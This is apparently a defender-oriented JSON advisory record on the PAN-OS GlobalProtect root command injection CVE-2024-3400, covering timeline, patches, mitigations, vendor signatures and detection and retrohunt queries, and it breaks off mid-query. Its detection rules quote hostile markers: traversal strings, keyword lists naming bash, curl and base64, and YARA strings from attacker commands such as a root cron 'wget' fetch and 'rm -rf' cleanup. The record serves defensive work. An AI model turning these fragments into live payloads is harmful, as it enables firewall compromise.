{"slug":"panos-globalprotect","title":"PAN-OS GlobalProtect RCE (CVE-2024-3400)","shortName":"PAN-OS GlobalProtect","summary":"Unauthenticated command injection as root in Palo Alto Networks PAN-OS GlobalProtect gateway/portal. CVSS 10.0. Zero-day exploitation by UTA0218 from March 2024. Listed in CISA KEV on 12 Apr 2024.","isExample":false,"draft":false,"family":"panos-globalprotect","kind":"single-product","aliases":["CVE-2024-3400","Operation MidnightEclipse","UPSTYLE"],"publishedAt":"2024-04-12","updatedAt":"2026-10-24","patchStatus":"patched","exploited":true,"scores":{"cve":"CVE-2024-3400","cvss":{"cve":"CVE-2024-3400","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","version":"3.1","scorer":"nvd","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-3400","sourceDate":"2026-06-17","checkedDate":"2026-10-24"},"epss":{"cve":"CVE-2024-3400","score":0.99999,"percentile":1,"date":"2026-10-23","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-3400","checkedDate":"2026-10-24"},"kev":{"cve":"CVE-2024-3400","listed":true,"dateAdded":"2024-04-12","dueDate":"2024-04-19","catalogVersion":"2026.10.23","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","checkedDate":"2026-10-24"},"addedDate":"2026-10-24"},"priority":{"label":"act-now"},"managementSummary":{"what":"Unauthenticated root command injection in PAN-OS GlobalProtect (CVE-2024-3400), CVSS 10.0. Zero-day from March 2024 and listed in CISA KEV.","action":"Confirm GlobalProtect-enabled firewalls are on a fixed hotfix and review gpsvc logs for non-GUID session IDs."},"seenInTheWild":[{"metric":"exposed","value":"143,000+ GlobalProtect publicly-facing devices","observer":"Censys","date":"2024-04-15","method":"GlobalProtect product-level count, version not assessed","sourceUrl":"https://censys.com/advisory/cve-2024-3400/"},{"metric":"possibly-vulnerable","value":"roughly 22,500 instances \"possibly vulnerable\"","observer":"Shadowserver","date":"2024-04-18","method":"Shadowserver scan","sourceUrl":"https://www.bleepingcomputer.com/news/security/22-500-palo-alto-firewalls-possibly-vulnerable-to-ongoing-attacks/"},{"metric":"scanning","value":164,"observer":"GreyNoise","date":"2025-03-06","method":"Malicious IPs in past 30 days (10 in past 24 hours) as of blog date","sourceUrl":"https://www.greynoise.io/blog/active-exploitation-silk-typhoon-linked-cves"},{"metric":"exposed","value":35696,"observer":"Shodan","date":"2026-10-23","method":"Product query http.title:\"GlobalProtect Portal\"","sourceUrl":"https://www.shodan.io/search?query=http.title%3A%22GlobalProtect%20Portal%22","note":"Exposed hosts. Data: Shodan."},{"metric":"exploitation-confirmed","value":"Listed","observer":"CISA","date":"2024-04-12","method":"CISA Known Exploited Vulnerabilities catalog dateAdded","sourceUrl":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog"}],"seenInTheWildLinks":[{"title":"Palo Alto PAN-OS CVE-2024-3400 RCE Attempt","url":"https://viz.greynoise.io/tags/palo-alto-pan-os-cve-2024-3400-rce-attempt","observer":"GreyNoise","metric":"scanning"}],"whatChanged":{"date":"2026-10-24","items":[{"text":"Added Am I affected checks, mitigations and response guidance","section":"am-i-affected"},{"text":"Act-now priority block with sourced CVSS, EPSS, and CISA KEV dates.","section":"priority","addedDate":"2026-10-24"},{"text":"Detection rule coverage table and JSON, IOC CSV, and STIX feeds.","section":"detection","addedDate":"2026-10-24"}]},"whatTheBugIs":"CVE-2024-3400 is an arbitrary file creation leading to OS command injection in the GlobalProtect feature of Palo Alto Networks PAN-OS. Palo Alto Networks rates it CVSS 10.0 CRITICAL. An unauthenticated attacker can execute code with root privileges on a vulnerable firewall.\n\nOnly PAN-OS 10.2, 11.0, and 11.1 firewalls configured with GlobalProtect gateway or portal are exposed. Device telemetry does not need to be enabled. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted per the vendor advisory.\n\nVolexity detected zero-day exploitation on 10 Apr 2024 and later found probing back to 26 Mar 2024. The actor, tracked as UTA0218, deployed the UPSTYLE Python backdoor and stole credentials for lateral movement. Palo Alto Networks and Unit 42 later described the campaign as Operation MidnightEclipse.","attackPath":{"caption":"High-level only. Not a reproduction guide.","steps":[{"id":"reach","label":"GlobalProtect reachability","detail":"Unauthenticated network access to a GlobalProtect portal or gateway on a vulnerable PAN-OS firewall."},{"id":"file","label":"Arbitrary file create","detail":"The bug allows arbitrary file creation that becomes command injection."},{"id":"root","label":"Root command exec","detail":"Commands run as root on the firewall operating system."},{"id":"persist","label":"Backdoor / theft","detail":"Observed follow-on includes UPSTYLE and credential theft for lateral movement. Conceptual impact class only."}]},"exploitation":{"kev":{"listed":true,"date":"2024-04-12","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","note":"CISA KEV entry for CVE-2024-3400, Palo Alto Networks PAN-OS Command Injection Vulnerability. dateAdded 2024-04-12. knownRansomwareCampaignUse Known."},"firstSeen":{"date":"2024-03-26","source":"Volexity","note":"Volexity's earliest evidence of attempted exploitation is 26 Mar 2024, when attackers appeared to verify exploitation with zero-byte files. Confirmed customer compromise identified 10 Apr 2024."},"vendorStatements":[{"vendor":"Palo Alto Networks","date":"2024-04-12","statement":"Palo Alto Networks is aware of an increasing number of attacks that leverage the exploitation of this vulnerability. Proof of concepts for this vulnerability have been publicly disclosed by third parties.","url":"https://security.paloaltonetworks.com/CVE-2024-3400","retracted":false},{"vendor":"Volexity","date":"2024-04-12","statement":"On April 10, 2024, Volexity identified zero-day exploitation of a vulnerability found within the GlobalProtect feature of Palo Alto Networks PAN-OS. The threat actor UTA0218 created a reverse shell and deployed the UPSTYLE backdoor.","url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","retracted":false}]},"timeline":[{"date":"2024-03-26","event":"Volexity sees earliest UTA0218 probing with zero-byte files on GlobalProtect devices.","source":{"title":"Zero-Day Exploitation of Unauthenticated RCE in GlobalProtect","url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","publisher":"Volexity"},"kind":"exploited","key":true},{"date":"2024-04-10","event":"Volexity confirms customer firewall compromise and reverse-shell activity.","source":{"title":"Zero-Day Exploitation of Unauthenticated RCE in GlobalProtect","url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","publisher":"Volexity"},"kind":"exploited","key":true},{"date":"2024-04-12","event":"Palo Alto Networks publishes CVE-2024-3400. CISA adds it to KEV. Volexity publishes its report.","source":{"title":"CVE-2024-3400 advisory","url":"https://security.paloaltonetworks.com/CVE-2024-3400","publisher":"Palo Alto Networks"},"kind":"kev","key":true},{"date":"2024-04-14","event":"Hotfixes begin shipping for commonly deployed PAN-OS maintenance releases (for example 10.2.9-h1, 11.0.4-h1, 11.1.2-h3).","source":{"title":"CVE-2024-3400 advisory","url":"https://security.paloaltonetworks.com/CVE-2024-3400","publisher":"Palo Alto Networks"},"kind":"patch","key":true},{"date":"2024-04-16","event":"watchTowr publishes technical analysis of GlobalProtect exploitation.","source":{"title":"Palo Alto - Putting The Protecc In GlobalProtect","url":"https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/","publisher":"watchTowr"},"kind":"poc","key":true},{"date":"2024-04-29","event":"Palo Alto Networks updates the advisory on public post-exploit persistence techniques that survive resets and upgrades.","source":{"title":"CVE-2024-3400 advisory","url":"https://security.paloaltonetworks.com/CVE-2024-3400","publisher":"Palo Alto Networks"},"kind":"vendor","key":true}],"defenderActions":[{"title":"Upgrade PAN-OS to a fixed hotfix","detail":"Move GlobalProtect-enabled firewalls to a fixed release such as PAN-OS 10.2.9-h1, 11.0.4-h1, 11.1.2-h3, or any later fixed version listed in the advisory. Palo Alto Networks advises upgrading even when workarounds were applied.","priority":"now","links":[{"label":"Palo Alto Networks CVE-2024-3400","href":"https://security.paloaltonetworks.com/CVE-2024-3400"}]},{"title":"Apply Threat Prevention signatures if licensed","detail":"Threat IDs 95187, 95189, and 95191 (content 8836-8695 and later) can block attacks when vulnerability protection is applied to the GlobalProtect interface. This is interim only.","priority":"now"},{"title":"Check gpsvc logs for path-like session IDs","detail":"Palo Alto Networks documents: grep pattern \"failed to unmarshal session(.\\+./\" mp-log gpsvc.log* and treat non-GUID values between session( and ) as possible exploit attempts.","priority":"soon"},{"title":"Collect forensics before reboot; consider enhanced factory reset","detail":"Collect a Tech Support File before rebooting into a fixed release. Palo Alto Networks recommends enhanced factory reset for devices that were unpatched or unprotected on or before 25 Apr 2024, or when persistence risk remains.","priority":"soon"}],"detection":[{"title":"gpsvc unmarshal session anomalies","detail":"Look for failed to unmarshal session(...) entries in gpsvc logs where the value is a filesystem path or shell-like string instead of a GUID.","logSource":"Firewall management-plane logs (gpsvc.log)","kind":"generic","group":"web-proxy"},{"title":"UPSTYLE / sslvpn error-log command channel","detail":"Volexity describes UPSTYLE reading commands from /var/log/pan/sslvpn_ngx_error.log via crafted missing-page requests, then cleaning the log entry.","logSource":"Firewall web server / sslvpn error logs","kind":"generic","group":"web-proxy"},{"title":"Akamai App & API Protector: rule 3000939","detail":"Rule 3000939 'Palo Alto OS Cookie Path Traversal Detected (CVE-2024-3400)'. Akamai recommends deny mode.","logSource":"Akamai Security Events (WAF) logs","kind":"vendor-signature","url":"https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit","date":"2024-05-30"},{"title":"F5 attack signature: 200007065","detail":"Palo Alto GlobalProtect Command Injection (200007065), references CVE-2024-3400, last update 2024-04-21.","logSource":"F5 Advanced WAF / Distributed Cloud WAF event logs","kind":"vendor-signature","url":"https://docs.cloud.f5.com/docs-v2/platform/reference/attack-signatures","date":"2024-04-21"},{"title":"Fortinet FortiWeb: 1090502098","detail":"FortiWeb signature Palo.Alto.Networks.GlobalProtect.Command.Injection (1090502098), 2024-04-30.","logSource":"FortiWeb attack logs","kind":"vendor-signature","url":"https://www.fortiguard.com/outbreak-alert/pan-os-globalprotect-attack","date":"2026-10-23","dateKind":"checked"},{"title":"Check Point IPS: CPAI-2024-0196","detail":"Protection 'Palo Alto Networks GlobalProtect Command Injection (CVE-2024-3400)', published 2024-04-14.","logSource":"Check Point IPS logs (SmartConsole / Logs & Monitor)","kind":"vendor-signature","url":"https://advisories.checkpoint.com/defense/advisories/public/2024/cpai-2024-0196.html/","date":"2024-04-14"},{"title":"Cisco Talos Snort: 1:63309","detail":"SERVER-WEBAPP Palo Alto Networks Firewall directory traversal attempt, enabled by default, released 2024-04-16. Rule doc references CVE-2024-3400.","logSource":"Snort / Cisco Secure Firewall IPS event logs","kind":"vendor-signature","url":"https://www.snort.org/advisories/talos-rules-2024-04-16-4-17-2024","date":"2024-04-16"},{"title":"Fortinet FortiGuard IPS: 55555","detail":"IPS signature Palo.Alto.Networks.CVE-2024-3400.Command.Injection (55555), 2024-04-14.","logSource":"FortiGate IPS logs","kind":"vendor-signature","url":"https://www.fortiguard.com/search?q=CVE-2024-3400&engine=1","date":"2024-04-30"},{"title":"Juniper IDP: HTTP:CTS:CVE-2024-3400-CMD-INJ","detail":"IDP signature for CVE-2024-3400, release date 2024-04-18, recommended action Drop.","logSource":"Juniper SRX IDP logs","kind":"vendor-signature","url":"https://www.juniper.net/us/en/threatlabs/ips-signatures/detail.HTTP:CTS:CVE-2024-3400-CMD-INJ.html","date":"2024-04-18"},{"title":"Palo Alto Networks Threat Prevention: 95187 / 95189 / 95191","detail":"Palo Alto Networks Threat Prevention signatures for CVE-2024-3400 in Applications and Threats content 8836-8695 and later.","logSource":"WAF / IPS event logs","kind":"vendor-signature","url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12"},{"title":"Sophos Firewall IPS: PAN-OS GlobalProtect Gateway CVE-2024-3400 Command Injection","detail":"Listed in IPS release 18.22.10 (2024-07-01). Earlier Sophos IPS notes are not online. No SID in the notes.","logSource":"Sophos Firewall IPS logs","kind":"vendor-signature","url":"https://docs.sophos.com/releasenotes/output/en-us/nsg/IPSReleaseNotes/18.22.10.html","date":"2024-07-01"},{"title":"Trend Micro TippingPoint 44125","detail":"TippingPoint filter 44125 'HTTP: Palo Alto Networks PAN-OS GlobalProtect Command Injection Vulnerability' (optional 41477). No Deep Security rule listed.","logSource":"Trend Micro TippingPoint SMS event logs","kind":"vendor-signature","url":"https://success.trendmicro.com/en-US/solution/KA-0016378","date":"2026-10-23","dateKind":"checked"}],"detectionRules":[{"id":"sigma-panos-gpsvc-unmarshal","title":"Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection","language":"sigma","query":"title: Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection\nid: f130a5f1-73ba-42f0-bf1e-b66a8361cb8f\nstatus: test\ndescription: |\n    Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect.\n    This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.\nreferences:\n    - https://security.paloaltonetworks.com/CVE-2024-3400\n    - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/\n    - https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2024-04-18\nmodified: 2025-11-22\ntags:\n    - attack.initial-access\n    - attack.persistence\n    - attack.privilege-escalation\n    - cve.2024-3400\n    - detection.emerging-threats\n    - attack.stealth\nlogsource:\n    category: appliance\n    product: paloalto\n    service: globalprotect\n    definition: 'Requirements: Palo Alto GlobalProtect \"mp-log\" and \"gpsvc.log\" log files need to be ingested'\ndetection:\n    keywords_generic:\n        - 'failed to unmarshal session(../'\n        - 'failed to unmarshal session(./../'\n        - 'failed to unmarshal session(/..'\n        - 'failed to unmarshal session(%2E%2E%2F'\n        - 'failed to unmarshal session(%2F%2E%2E'\n        - 'failed to unmarshal session(%2E%2F%2E%2E%2F'\n        - 'failed to unmarshal session(%252E%252E%252F'\n        - 'failed to unmarshal session(%252F%252E%252E'\n        - 'failed to unmarshal session(%252E%252F%252E%252E%252F'\n    keywords_telemetry_exploit:\n        - '{IFS}'\n        - 'base64'\n        - 'bash'\n        - 'curl'\n        - 'http'\n    keywords_telemetry_path:\n        - '/opt/panlogs/tmp/device_telemetry/'\n    condition: keywords_generic or (keywords_telemetry_exploit and keywords_telemetry_path)\nfalsepositives:\n    - Unknown\nlevel: high","logSource":"GlobalProtect / PAN-OS mp-log gpsvc.log","author":"Nasreddine Bencherchali (Nextron Systems)","authorUrl":"https://github.com/SigmaHQ/sigma","sourceUrl":"https://github.com/SigmaHQ/sigma/blob/05d1031f537e830b76da53bae2400c5814c89165/rules-emerging-threats/2024/Exploits/CVE-2024-3400/paloalto_globalprotect_exploit_cve_2024_3400_command_injection.yml","sourceDate":"2025-11-22","license":"DRL-1.1","origin":"community","tested":"untested"},{"id":"sigma-panos-telemetry-file-creation","title":"Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation","language":"sigma","query":"title: Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation\nid: bcd95697-e3e7-4c6f-8584-8e3503e6929f\nstatus: test\ndescription: |\n    Detects suspicious file creations in the Palo Alto Networks PAN-OS' parent telemetry folder, which are processed by the vulnerable 'dt_curl' script if device telemetry is enabled.\n    As said script overrides the shell-subprocess restriction, arbitrary command execution may occur by carefully crafting filenames that are escaped through this function.\nreferences:\n    - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-3400\nauthor: Andreas Braathen (mnemonic.io)\ndate: 2024-04-25\ntags:\n    - attack.execution\n    - cve.2024-3400\n    - detection.emerging-threats\nlogsource:\n    product: paloalto\n    service: globalprotect\n    category: file_event\n    definition: 'Requirements: file creation events need to be ingested from the Palo Alto GlobalProtect appliance'\ndetection:\n    selection:\n        TargetFilename|contains:\n            - '{IFS}'\n            - 'base64'\n            - 'bash'\n            - 'curl'\n            - 'http'\n        TargetFilename|startswith: '/opt/panlogs/tmp/device_telemetry/'\n    condition: selection\nfalsepositives:\n    - The PAN-OS device telemetry function does not enforce a standard filename convention, but observations are unlikely.\nlevel: medium","logSource":"GlobalProtect appliance file creation events","author":"Andreas Braathen (mnemonic.io)","authorUrl":"https://github.com/SigmaHQ/sigma","sourceUrl":"https://github.com/SigmaHQ/sigma/blob/05d1031f537e830b76da53bae2400c5814c89165/rules-emerging-threats/2024/Exploits/CVE-2024-3400/file_event_paloalto_globalprotect_exploit_cve_2024_3400_command_inject_file_creation.yml","sourceDate":"2024-04-25","license":"DRL-1.1","origin":"community","tested":"untested"},{"id":"et-panos-sessid-command-injection","title":"ET WEB_SPECIFIC_APPS Palo Alto GlobalProtect Session Cookie Command Injection Attempt (CVE-2024-3400)","language":"suricata","query":"alert http any any -> $HOME_NET any (msg:\"ET WEB_SPECIFIC_APPS Palo Alto GlobalProtect Session Cookie Command Injection Attempt (CVE-2024-3400)\"; flow:established,to_server; http.cookie; content:\"SESSID=\"; startswith; content:\"/opt/panlogs/tmp/device_telemetry/\"; distance:0; fast_pattern; pcre:\"/(?:\\x60|\\x7b).*(?:\\x24\\x7bIFS\\x7d|\\x2c)/R\"; reference:cve,2024-3400; reference:url,labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/; reference:url,www.volexity.com/blog/2024/05/15/detecting-compromise-of-cve-2024-3400-on-palo-alto-networks-globalprotect-devices/; classtype:trojan-activity; sid:2052122; rev:2; metadata:affected_product Palo_Alto_Networks, attack_target Networking_Equipment, tls_state TLSDecrypt, created_at 2024_04_16, cve CVE_2024_3400, deployment Perimeter, deployment Internal, deployment SSLDecrypt, performance_impact Low, confidence High, signature_severity Major, tag CISA_KEV, updated_at 2024_05_17, reviewed_at 2024_10_04, mitre_tactic_id TA0008, mitre_tactic_name Lateral_Movement, mitre_technique_id T1210, mitre_technique_name Exploitation_Of_Remote_Services; target:dest_ip;)","logSource":"Suricata IDS alerts (ET Open ruleset)","author":"Emerging Threats (Proofpoint)","authorUrl":"https://rules.emergingthreats.net/","sourceUrl":"https://rules.emergingthreats.net/open/suricata-7.0.3/rules/emerging-web_specific_apps.rules","sourceDate":"2024-05-17","license":"BSD-3-Clause (ET Open, sids 2000000-2799999)","origin":"vendor","notes":"Needs decrypted HTTP to the GlobalProtect portal or gateway.","tested":"untested"},{"id":"et-upstyle-command-attempt","title":"ET MALWARE Possible UPSTYLE Command Attempt","language":"suricata","query":"alert http $EXTERNAL_NET any -> $HOME_NET any (msg:\"ET MALWARE Possible UPSTYLE Command Attempt\"; flow:established,to_server; http.method; content:\"GET\"; http.uri; content:\"img|5b|\"; fast_pattern; pcre:\"/img\\x5b[a-zA-Z0-9+/=]{10,}\\x5d/U\"; content:!\"|0d 0a|Referer|0d 0a|\"; reference:url,www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/; reference:url,unit42.paloaltonetworks.com/cve-2024-3400/; classtype:trojan-activity; sid:2052026; rev:1; metadata:affected_product Palo_Alto_Networks, attack_target Networking_Equipment, tls_state TLSDecrypt, created_at 2024_04_12, cve CVE_2024_3400, deployment Perimeter, deployment SSLDecrypt, malware_family UPSTYLE, performance_impact Moderate, confidence Low, signature_severity Major, updated_at 2024_04_12; target:dest_ip;)","logSource":"Suricata IDS alerts (ET Open ruleset)","author":"Emerging Threats (Proofpoint)","authorUrl":"https://rules.emergingthreats.net/","sourceUrl":"https://rules.emergingthreats.net/open/suricata-7.0.3/rules/emerging-malware.rules","sourceDate":"2024-04-12","license":"BSD-3-Clause (ET Open, sids 2000000-2799999)","origin":"vendor","notes":"UPSTYLE backdoor command requests described by Volexity.","tested":"untested"},{"id":"yara-uta028-forensic-artefacts","title":"APT_UTA028_ForensicArtefacts_PaloAlto_CVE_2024_3400_Apr24_1","language":"yara","query":"rule APT_UTA028_ForensicArtefacts_PaloAlto_CVE_2024_3400_Apr24_1 : SCRIPT {\n   meta:\n      description = \"Detects forensic artefacts of APT UTA028 as found in a campaign exploiting the Palo Alto CVE-2024-3400 vulnerability\"\n      author = \"Florian Roth\"\n      reference = \"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/\"\n      date = \"2024-04-15\"\n      modified = \"2024-04-18\"\n      score = 70\n      id = \"32cf18ff-784d-5849-87f8-14ede7315188\"\n   strings:\n      $x1 = \"cmd = base64.b64decode(rst.group\"\n      $x2 = \"f.write(\\\"/*\\\"+output+\\\"*/\\\")\"\n\n      $x3 = \"* * * * * root wget -qO- http://\"\n      $x4 = \"rm -f /var/appweb/sslvpndocs/global-protect/*.css\"\n\n      $x5a = \"failed to unmarshal session(../\" // https://security.paloaltonetworks.com/CVE-2024-3400\n      $x5b = \"failed to unmarshal session(./../\" // customer data\n\n      $x6 = \"rm -rf /opt/panlogs/tmp/device_telemetry/minute/*\" base64\n      $x7 = \"$(uname -a) > /var/\" base64\n   condition:\n      1 of them\n}","logSource":"Tech support file and log bundles from the firewall (YARA scan)","author":"Florian Roth","authorUrl":"https://github.com/Neo23x0/signature-base","sourceUrl":"https://github.com/Neo23x0/signature-base/blob/3ce6640c26046da8e6d8094af3eaaee3ee84e648/yara/vuln_paloalto_cve_2024_3400_apr24.yar","sourceDate":"2024-04-18","license":"DRL-1.1","origin":"community","tested":"untested"},{"id":"v2s-logscale-gpsvc-non-guid-session","title":"gpsvc 'failed to unmarshal session' with a non-GUID value","language":"logscale","query":"\"failed to unmarshal session(\"\n| regex(\"failed to unmarshal session\\\\((?<session_value>[^)]*)\\\\)\")\n| session_value!=/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i\n| groupBy([session_value], function=count())","logSource":"GlobalProtect gpsvc.log (tech support file or forwarded logs)","author":"vuln2shell","authorUrl":"https://vuln2shell.com","sourceUrl":"https://security.paloaltonetworks.com/CVE-2024-3400","sourceDate":"2024-04-12","license":"CC0 1.0","origin":"vuln2shell","notes":"Palo Alto says a session value that is a file path or shell command instead of a GUID warrants investigation; normal entries are GUIDs.","tested":"untested"},{"id":"v2s-spl-panos-threat-ids","title":"Palo Alto Threat Prevention IDs for CVE-2024-3400","language":"spl","query":"sourcetype=\"pan:threat\" threat_id IN (95187, 95189, 95191)\n| stats count min(_time) as firstTime max(_time) as lastTime values(action) as action by src_ip dest_ip threat_id","logSource":"PAN-OS threat logs (Splunk Add-on for Palo Alto Networks)","author":"vuln2shell","authorUrl":"https://vuln2shell.com","sourceUrl":"https://security.paloaltonetworks.com/CVE-2024-3400","sourceDate":"2024-04-12","license":"CC0 1.0","origin":"vuln2shell","notes":"Threat IDs from the Palo Alto advisory. Check the field name your add-on version uses for the threat ID.","tested":"untested"},{"id":"v2s-kql-panos-threat-ids","title":"Palo Alto Threat Prevention IDs for CVE-2024-3400 (Sentinel)","language":"kql","query":"CommonSecurityLog\n| where TimeGenerated > ago(30d)\n| where DeviceVendor =~ \"Palo Alto Networks\"\n| where DeviceEventClassID in (\"95187\", \"95189\", \"95191\") or AdditionalExtensions has_any (\"95187\", \"95189\", \"95191\")\n| summarize Count = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP, DestinationIP, DeviceAction","logSource":"PAN-OS threat logs via CEF in Microsoft Sentinel CommonSecurityLog","author":"vuln2shell","authorUrl":"https://vuln2shell.com","sourceUrl":"https://security.paloaltonetworks.com/CVE-2024-3400","sourceDate":"2024-04-12","license":"CC0 1.0","origin":"vuln2shell","notes":"Threat IDs from the Palo Alto advisory. Confirm which CEF field carries the threat ID in your connector.","tested":"untested"}],"detectionLinks":[{"title":"Palo Alto Networks: CVE-2024-3400 advisory (gpsvc check, Threat IDs)","url":"https://security.paloaltonetworks.com/CVE-2024-3400","author":"Palo Alto Networks","date":"2024-04-12"},{"title":"Volexity: Detecting compromise of CVE-2024-3400","url":"https://www.volexity.com/blog/2024/05/15/detecting-compromise-of-cve-2024-3400-on-palo-alto-networks-globalprotect-devices/","author":"Volexity","date":"2024-05-15"},{"title":"Volexity: Zero-day exploitation of GlobalProtect (UPSTYLE)","url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","author":"Volexity","date":"2024-04-12"},{"title":"Unit 42: Operation MidnightEclipse threat brief","url":"https://unit42.paloaltonetworks.com/cve-2024-3400/","author":"Unit 42","date":"2024-04-12"}],"retrohunt":{"summary":"Pull a Tech Support File from each GlobalProtect firewall and search gpsvc logs back to 26 Mar 2024 for non-GUID session values. Then check for the UPSTYLE backdoor file and odd entries in the sslvpn error log.","lookback":{"from":"2024-03-26","basis":"first-attempt","rationale":"Volexity's earliest evidence of attempted exploitation is 26 Mar 2024, with confirmed compromise from 10 Apr 2024. Palo Alto Networks recommends an enhanced factory reset for devices unpatched or unprotected on or before 25 Apr 2024.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"},{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},"logSources":[{"name":"Tech Support File (mp-log gpsvc.log*)","why":"Holds the failed to unmarshal session lines Palo Alto Networks uses as the exploit marker.","required":true},{"name":"PAN-OS threat logs","why":"Threat IDs 95187, 95189 and 95191 show blocked attempts.","required":false},{"name":"Firewall traffic logs for the device's own IP","why":"Reverse shells and downloads from the firewall itself.","required":true}],"steps":[{"title":"Collect a Tech Support File before any reboot or upgrade","detail":"Upgrading or resetting can remove evidence.","sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"title":"Search gpsvc logs for path-like session IDs","detail":"Palo Alto Networks gives: grep pattern \"failed to unmarshal session(.\\+./\" mp-log gpsvc.log*. A value that is a path or shell string instead of a GUID is an exploit attempt.","sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"title":"Look for UPSTYLE","detail":"Volexity describes update.py deploying a backdoor to /usr/lib/python3.6/site-packages/system.pth that reads commands from /var/log/pan/sslvpn_ngx_error.log and serves output via bootstrap.min.css.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]},{"title":"Check outbound traffic from the firewall","detail":"Volexity saw reverse shells and tool downloads from the device. Review traffic logs where the firewall's own interface IP is the source.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"},{"url":"https://www.volexity.com/blog/2024/05/15/detecting-compromise-of-cve-2024-3400-on-palo-alto-networks-globalprotect-devices/","date":"2024-05-15","publisher":"Volexity"}]}],"queries":[{"id":"v2s-rh-spl-panos-threat-ids","title":"PAN-OS CVE-2024-3400 threat IDs since 26 Mar 2024","language":"spl","query":"index=* sourcetype=\"pan:threat\" earliest=\"03/26/2024:00:00:00\" threat_id IN (95187, 95189, 95191)\n| stats count min(_time) as firstTime max(_time) as lastTime values(action) as action by src_ip, dest_ip, threat_id\n| convert ctime(firstTime) ctime(lastTime)","logSource":"PAN-OS threat logs in Splunk","author":"vuln2shell","authorUrl":"https://vuln2shell.com","sourceUrl":"https://security.paloaltonetworks.com/CVE-2024-3400","sourceDate":"2024-04-12","license":"CC0 1.0","origin":"vuln2shell","notes":"These IDs only exist from content 8836-8695, so earlier attempts will not show here; use gpsvc logs for those.","tested":"untested","timeRange":"From 2024-03-26"},{"id":"v2s-rh-kql-panos-device-egress","title":"Outbound connections from GlobalProtect interface IPs","language":"kql","query":"let fw_ips = dynamic([\"<firewall-interface-ip>\"]);\nCommonSecurityLog\n| where TimeGenerated >= datetime(2024-03-26)\n| where DeviceVendor =~ \"Palo Alto Networks\" and Activity =~ \"TRAFFIC\"\n| where SourceIP in (fw_ips)\n| summarize Count = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP, DestinationIP, DestinationPort, ApplicationProtocol","logSource":"PAN-OS traffic logs via CEF in Microsoft Sentinel (CommonSecurityLog)","author":"vuln2shell","authorUrl":"https://vuln2shell.com","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12","license":"CC0 1.0","origin":"vuln2shell","notes":"Fill in your firewall interface IPs. The firewall should rarely start outbound sessions to the internet.","tested":"untested","timeRange":"From 2024-03-26, limited by retention"},{"id":"v2s-rh-logscale-gpsvc-non-guid","title":"Non-GUID session values in gpsvc logs","language":"logscale","query":"// Set the time picker to start 2024-03-26\n\"failed to unmarshal session(\"\n| regex(\"failed to unmarshal session\\\\((?<session_value>[^)]*)\\\\)\")\n| session_value!=/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i\n| groupBy([#host, session_value], function=[count(), min(@timestamp, as=firstSeen)])","logSource":"gpsvc.log from Tech Support Files or forwarded logs in 